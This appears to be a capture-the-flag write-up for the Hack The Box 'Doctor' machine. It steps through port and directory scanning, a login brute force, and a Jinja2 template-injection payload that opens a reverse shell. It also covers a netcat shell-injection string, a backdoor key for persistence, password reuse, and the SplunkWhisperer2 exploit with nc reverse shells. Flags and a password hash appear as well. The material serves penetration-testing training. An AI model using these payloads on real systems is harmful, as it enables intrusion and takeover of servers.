1. nmap -T4 -Pn -sC

    Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
    Starting Nmap 7.91 ( ) at 2020-12-02 09:27 EST
    Stats: 0:00:02 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
    Connect Scan Timing: About 2.45% done; ETC: 09:29 (0:01:20 remaining)
    Nmap scan report for
    Host is up (0.032s latency).
    Not shown: 997 filtered ports
    22/tcp   open  ssh
    | ssh-hostkey: 
    |   3072 59:4d:4e:c2:d8:cf:da:9d:a8:c8:d0:fd:99:a8:46:17 (RSA)
    |   256 7f:f3:dc:fb:2d:af:cb:ff:99:34:ac:e0:f8:00:1e:47 (ECDSA)
    |_  256 53:0e:96:6b:9c:e9:c1:a1:70:51:6c:2d:ce:7b:43:e8 (ED25519)
    80/tcp   open  http
    |_http-title: Doctor
    8089/tcp open  unknown
    | ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
    | Not valid before: 2020-09-06T15:57:27
    |_Not valid after:  2023-09-06T15:57:27
    Nmap done: 1 IP address (1 host up) scanned in 8.72 seconds
  2. has http login functionality for the /services and /servicesNS endpoints.

  3. I initially thought the website on port 80 was just a standard template but there is the text Send us a message at info@doctors.htb. Add doctors.htb to /etc/hosts to get a "Doctor Secure Messaging" page with a login.

  4. Directory bruteforcing: gobuster dir -u -t 100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt and gobuster dir -u -t 100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --insecuressl. The secure website produces the following:

    Gobuster v3.0.1
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
    [+] Url:  
    [+] Threads:        100
    [+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
    [+] Status codes:   200,204,301,302,307,401,403
    [+] User Agent:     gobuster/3.0.1
    [+] Timeout:        10s
    2020/12/02 09:33:15 Starting gobuster
    /services (Status: 401)
    /v2 (Status: 200)
    /v1 (Status: 200)
    /v3 (Status: 200)
    /v4 (Status: 200)
    /v5 (Status: 200)
    /v6 (Status: 200)
    /v7 (Status: 200)
    /v8 (Status: 200)
    /v10 (Status: 200)
    /v11 (Status: 200)
    /v15 (Status: 200)
    /v0 (Status: 200)
    /v01 (Status: 200)
    /v52 (Status: 200)
    /v001 (Status: 200)
    /v23 (Status: 200)
    /v9 (Status: 200)
    /v14 (Status: 200)
    /v20 (Status: 200)
    /v05 (Status: 200)
    /v13 (Status: 200)
    /v12 (Status: 200)
    /v92 (Status: 200)
    /v003 (Status: 200)
    /v209 (Status: 200)
    2020/12/02 09:34:19 Finished
  5. Searching online finds the following:

    But I need the admin username and password to use them. admin is the username according to the first link.

  6. Try brute-forcing Splunk login: hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 8089 -f http-get /services. Unsuccessful.

  7. On the "Doctor Secure Messaging" page try directory brute-forcing: gobuster dir -u http://doctors.htb -t 100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt.

    [+] Url:            http://doctors.htb
    [+] Threads:        100
    [+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
    [+] Status codes:   200,204,301,302,307,401,403
    [+] User Agent:     gobuster/3.0.1
    [+] Timeout:        10s
    2020/12/02 10:07:32 Starting gobuster
    /account (Status: 302)
    /logout (Status: 302)
    /archive (Status: 200)
    /login (Status: 200)
    /register (Status: 200)
    /home (Status: 302)
    /reset_password (Status: 200)
    2020/12/02 10:12:18 Finished
  8. Try creating an account on "Doctor Secure Messaging" and find comment <!--archive still under beta testing<a class="nav-item nav-link" href="/archive">Archive</a>-->.

  9. I tested various approaches with the message posting functionality including Server Side Template Injection (SSTI) with Flask since Wappalyzer informed me the web framework was Flask. I then decided to check /archive after creating a post. Creating a post with a title and content of {{7*'7'}} produces 7777777, which shows this page is vulnerable to SSTI.

  10. Post the following in the title and content using the "New Message" function then visit /archive to get a reverse shell:

    <div data-gb-custom-block data-tag="for"><div data-gb-custom-block data-tag="if" data-0='warning'>{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"\",3254));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);[\"/bin/bash\"]);'").read().zfill(417)}}</div></div>

    The above was obtained from swisskyrepo/PayloadsAllTheThings and changed to call /bin/bash instead of /bin/cat to print a flag.

    The /archive page is vulnerable as explained on this page. /archive routing code:

    cat /home/web/blog/flaskblog/main/

    from flask import render_template, render_template_string, request, Blueprint
    from flask_login import current_user, login_required
    from flaskblog.models import Post
    main = Blueprint('main', __name__)
    def home():
            page = request.args.get('page', 1, type=int)
            posts = Post.query.order_by(Post.date_posted.asc()).paginate(page=page, per_page=10)
            return render_template('home.html', posts=posts, author=current_user)
    def feed():
            posts = Post.query.order_by(Post.date_posted.asc())
            tpl = '''
            <?xml version="1.0" encoding="UTF-8" ?>
            <rss version="2.0">
            for post in posts:
                            tpl += "<item><title>"+post.title+"</title></item>\n"
                            tpl += '''
            return render_template_string(tpl)

    Also, shell injection works without the archive page: <img src=$(nc.traditional$IFS-e$IFS/bin/bash$IFS''$IFS'4444')/>.

  11. Linpeas (./ -a 2>&1 | tee linpeas_report.txt) finds backup file /var/log/apache2/backup with has this line in it: /var/log/apache2/backup: - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password". You can open linpeas_report_web.txt with less -R linpeas_report_web.txt

  12. Linpeas users:

    [+] Users with console
    splunk:x:1003:1003:Splunk Server:/opt/splunkforwarder:/bin/bash

    Trying Guitar123 as the password for shuan works: su shaun.

  13. Run run persist.authorized_key user=shaun backdoor_key=/home/kali/Downloads/key in local pwntools shell for persistance.

  14. cat /home/shaun/user.txt: da773977d514b6d63e3233dbb30961fd.

  15. Run ./ -a 2>&1 | tee linpeas_report.txt and download linepeas_report.txt. You can open linpeas_report_shaun.txt with less -R linpeas_report_shaun.txt.

  16. Find 1|admin|admin@doctor.htb|default.gif|$2b$12$Tg2b8u/elwAyfQOvqvxJgOTcsbnkFANIDdv6jVXmxiWsg4IznjI0S in /opt/clean/site.db so the "Doctor Secure Messaging" credentials are admin@doctor.htb:$2b$12$Tg2b8u/elwAyfQOvqvxJgOTcsbnkFANIDdv6jVXmxiWsg4IznjI0S

  17. This is a bcrypt hash as shown by /home/web/blog/flaskblog/users/ Crack it ($2b$12$Tg2b8u/elwAyfQOvqvxJgOTcsbnkFANIDdv6jVXmxiWsg4IznjI0S) with hashcat -m 3200 -a 0 -o cracked hash /usr/share/wordlists/rockyou.txt. Cracking didn't work.

  18. cat /home/web/ contains SECRET_KEY=1234 SQLALCHEMY_DATABASE_URI=sqlite://///home/web/blog/flaskblog/site.db /usr/bin/python3 /home/web/blog/

  19. CUPS running at

  20. Try splunk login shaun:Guitar123 at which works. Time to test the exploit I found earlier (cnotin/SplunkWhisperer2).

  21. git clone then pwncat then run the exploit: python3 --username shaun --password Guitar123 --lhost --lport 46321 --host --payload 'nc.traditional -e /bin/sh 4632'.

  22. Need to use nc.traditional or nc [ServerAddress] [ServerPort] 0<f | /bin/sh -i 2>&1 | tee f because according to ‘Neutered’ Netcat? No prob!. This is because netcat on Mac and OpenBSD netcat on Ubuntu have the -e switch disabled.

  23. cat /root/root.txt: 006957ab28b0297079fdd8558031768e

  24. Root /etc/shadow:


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